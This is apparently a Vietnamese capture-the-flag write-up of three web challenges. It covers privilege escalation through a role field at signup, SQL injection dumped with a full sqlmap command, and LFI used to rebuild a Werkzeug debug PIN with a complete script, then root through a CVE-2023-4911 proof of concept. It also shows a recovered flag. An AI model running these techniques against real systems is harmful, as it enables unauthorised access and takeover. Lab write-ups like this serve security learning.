# Low-effor SNS
Bài này có thể sign up với user với role là "admin". Gửi một request POST đến /signup:
```jsonld=
{
"bio":"test",
"username":"test",
"password":"test",
"secret":"test",
"role":"admin"
}
```
Sau khi login thì ta có được một jwt token với role admin. Sau đó gửi request đến GET /secret/1 để lấy flag:

# Ezzz
Bài này có lỗi SQL Injection tại param `key` trong `/sort`. Cách verify là thêm dấu `'` vào title. Param này sẽ ORDER BY theo số cột lấy từ `key` nên trước khi chạy sqlmap ta cần thêm một số data đầu vào trước để nhận biết được sự khác biệt giữa các output.
```bash=
sqlmap -u "http://10.8.0.1:32922/sort?key=1" --cookie='session=eyJ1c2VyX3Nlc3Npb24iOiI4NzU4M2QzNy0wYmVmLTQ1NTUtYTU4NC1hMmU1MzY5NTdlMzAifQ.Z8Mk1g.oQlpVzAz_qxoeFsji892X1AOs8E' \
-p 'key' -batch --dbms=SQLite --dump --level 5 --threads=3
BKSEC{B00l34n_4nd_3rr0r_B4s3d_SQLi_4r3_P0w3rfu1_Techniqueslsb62DWwrDP1L8CM}
```
# News
Bài này có lỗi LFI ở param `file` trong `/logo`. Ta có thể đọc được một file bất kỳ trong hệ thống với quyền user. Để ý server sử dụng Werkzeug 3.0.0 có lỗi RCE trong console, nên ta sẽ tìm cách để reverse được mã PIN trong path `/console`. Đọc file `/debug/__init__.py` trong hệ thống để tìm cách đảo ngược được mã PIN. Ta viết một script như sau:
```python
#!/bin/python3
import hashlib
from itertools import chain
probably_public_bits = [
'urmother',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'99756733277388',# str(uuid.getnode()), /sys/class/net/eth0/address
# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
'c74d3e7c-8af2-4c0c-bae3-b0e14423df90'
]
h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print("Pin: " + rv)
```
Sau khi đã có RCE trên máy thì cần leo quyền để vào được root. Nhờ vào gợi ý của admin và trong file Dockerfile có tải về phiên bản `libc 2.35-0ubuntu3.3`, `glibc` cũng sẽ được tải về với phiên bản tương ứng. Ta tìm được một CVE có nói về phiên bản này [CVE-2023-4911](https://github.com/NishanthAnand21/CVE-2023-4911-PoC) cho phép lợi dụng lỗi Buffer Overflow để leo quyền. Tải đoạn github repo về và make để leo quyền và đọc flag.
```